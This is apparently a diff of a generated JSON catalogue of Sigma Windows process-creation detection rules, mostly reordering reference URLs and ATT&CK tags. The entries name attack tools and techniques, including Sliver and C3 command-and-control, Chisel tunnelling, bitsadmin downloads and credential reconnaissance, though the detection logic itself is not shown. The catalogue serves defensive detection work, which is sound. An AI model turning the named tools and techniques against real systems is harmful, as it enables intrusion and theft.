"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_sha1.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_sha1.yml", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/" ], "tags": [ "attack.credential_access", @@ -33680,8 +33678,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gamaredon_ultravnc.yml" ], "tags": [ @@ -33737,8 +33735,8 @@ "refs": [ "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", "https://twitter.com/GadixCRK/status/1369313704869834753?s=20", + "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", "https://twitter.com/BleepinComputer/status/1372218235949617161", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hafnium.yml" ], @@ -33789,8 +33787,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_judgement_panda_gtr19.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_judgement_panda_gtr19.yml", + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/" ], "tags": [ "attack.lateral_movement", @@ -33818,8 +33816,8 @@ "logsource.product": "windows", "refs": [ "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ke3chang_regadd.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ke3chang_regadd.yml", + "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/" ], "tags": [ "attack.g0004", @@ -33843,8 +33841,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_apr21.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_apr21.yml", + "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/" ], "tags": [ "attack.g0032", @@ -33868,9 +33866,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_dec20.yml", "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", - "https://www.hvs-consulting.de/lazarus-report/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_dec20.yml" + "https://www.hvs-consulting.de/lazarus-report/" ], "tags": [ "attack.g0032", @@ -33894,9 +33892,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hvs-consulting.de/lazarus-report/", "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_loader.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_loader.yml", + "https://www.hvs-consulting.de/lazarus-report/" ], "tags": [ "attack.g0032", @@ -33920,8 +33918,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_session_highjack.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_session_highjack.yml", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" ], "tags": [ "attack.defense_evasion", @@ -33944,8 +33942,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml", + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/" ], "tags": [ "attack.execution", @@ -33969,9 +33967,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_dnstunnel.yml", "https://www.vmray.com/analyses/5ad401c3a568/report/overview.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_dnstunnel.yml" + "https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/" ], "tags": [ "attack.command_and_control", @@ -33994,10 +33992,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", - "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml", "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml" + "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", + "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/" ], "tags": [ "attack.t1587.001", @@ -34021,10 +34019,10 @@ "logsource.product": "windows", "refs": [ "https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers", - "https://www.joesandbox.com/analysis/443736/0/html", "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://www.joesandbox.com/analysis/443736/0/html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_revil_kaseya.yml" ], "tags": [ @@ -34078,8 +34076,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securelist.com/apt-slingshot/84312/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml", + "https://securelist.com/apt-slingshot/84312/" ], "tags": [ "attack.persistence", @@ -34103,10 +34101,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml", "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100", "https://twitter.com/ClearskySec/status/960924755355369472", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml" + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" ], "tags": [ "attack.g0007", @@ -34133,9 +34131,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", - "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", + "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sourgrum.yml" ], "tags": [ @@ -34234,8 +34232,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/" ], "tags": [ "attack.execution", @@ -34258,8 +34256,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securelist.com/the-epic-turla-operation/65545/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml", + "https://securelist.com/the-epic-turla-operation/65545/" ], "tags": [ "attack.g0010", @@ -34288,8 +34286,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securelist.com/the-epic-turla-operation/65545/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_medium.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_medium.yml", + "https://securelist.com/the-epic-turla-operation/65545/" ], "tags": [ "attack.g0010", @@ -34345,8 +34343,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/" ], "tags": [ "attack.execution", @@ -34369,9 +34367,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_ps.yml" ], "tags": [ @@ -34469,8 +34467,8 @@ "logsource.product": "windows", "refs": [ "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", - "https://twitter.com/SBousseaden/status/1207671369963646976", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml", + "https://twitter.com/SBousseaden/status/1207671369963646976" ], "tags": [ "attack.discovery", @@ -34527,8 +34525,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml", + "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39" ], "tags": [ "attack.t1204", @@ -34602,9 +34600,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", - "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", "https://github.com/h3v0x/CVE-2021-26084_Confluence", + "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", + "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml" ], "tags": [ @@ -34655,8 +34653,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib" ], "tags": [ "attack.defense_evasion", @@ -34680,8 +34678,8 @@ "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", - "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml", + "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0" ], "tags": [ "attack.defense_evasion", @@ -34704,9 +34702,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_automated_collection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_automated_collection.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md" ], "tags": [ "attack.collection", @@ -34731,14 +34729,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/", - "https://www.cobaltstrike.com/help-opsec", - "https://twitter.com/CyberRaiju/status/1251492025678983169", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bad_opsec_sacrificial_processes.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bad_opsec_sacrificial_processes.yml" + "https://twitter.com/CyberRaiju/status/1251492025678983169", + "https://www.cobaltstrike.com/help-opsec", + "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/" ], "tags": [ "attack.defense_evasion", @@ -34787,8 +34785,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_listing_shadowcopy.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_listing_shadowcopy.yml", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar" ], "tags": [ "attack.execution", @@ -34813,8 +34811,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_reflective_assembly_load.yml" ], "tags": [ @@ -34840,8 +34838,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" ], @@ -34869,11 +34867,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_domain.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_domain.yml", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker" ], "tags": [ "attack.defense_evasion", @@ -34899,8 +34897,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ext.yml" ], @@ -34928,8 +34926,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ip.yml" ], @@ -34957,8 +34955,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" ], @@ -34986,8 +34984,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" ], @@ -35015,9 +35013,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bootconf_mod.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bootconf_mod.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md" ], "tags": [ "attack.impact", @@ -35065,9 +35063,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://subt0x11.blogspot.ch/2018/04/wmicexe-whitelisting-bypass-hacking.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bypass_squiblytwo.yml", "https://twitter.com/mattifestation/status/986280382042595328", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bypass_squiblytwo.yml" + "https://subt0x11.blogspot.ch/2018/04/wmicexe-whitelisting-bypass-hacking.html" ], "tags": [ "attack.defense_evasion", @@ -35094,9 +35092,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c2_sliver.yml", "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c2_sliver.yml" + "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36" ], "tags": [ "attack.execution", @@ -35119,8 +35117,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c3_load_by_rundll32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c3_load_by_rundll32.yml", + "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12" ], "tags": [ "attack.defense_evasion", @@ -35143,10 +35141,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2", "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_execution.yml", + "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2" ], "tags": [ "attack.defense_evasion", @@ -35169,8 +35167,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/issues/243", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml", + "https://github.com/LOLBAS-Project/LOLBAS/issues/243" ], "tags": [ "attack.defense_evasion", @@ -35193,8 +35191,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_association.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_association.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md" ], "tags": [ "attack.persistence", @@ -35241,9 +35239,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/jpillora/chisel/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chisel_usage.yml", "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chisel_usage.yml" + "https://github.com/jpillora/chisel/" ], "tags": [ "attack.command_and_control", @@ -35315,9 +35313,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip.yml", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md" ], "tags": [ "attack.collection", @@ -35341,8 +35339,8 @@ "logsource.product": "windows", "refs": [ "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", - "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml", + "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx" ], "tags": [ "attack.credential_access", @@ -35365,8 +35363,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_delete.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_delete.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md" ], "tags": [ "attack.defense_evasion", @@ -35413,8 +35411,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_read_contents.yml" + 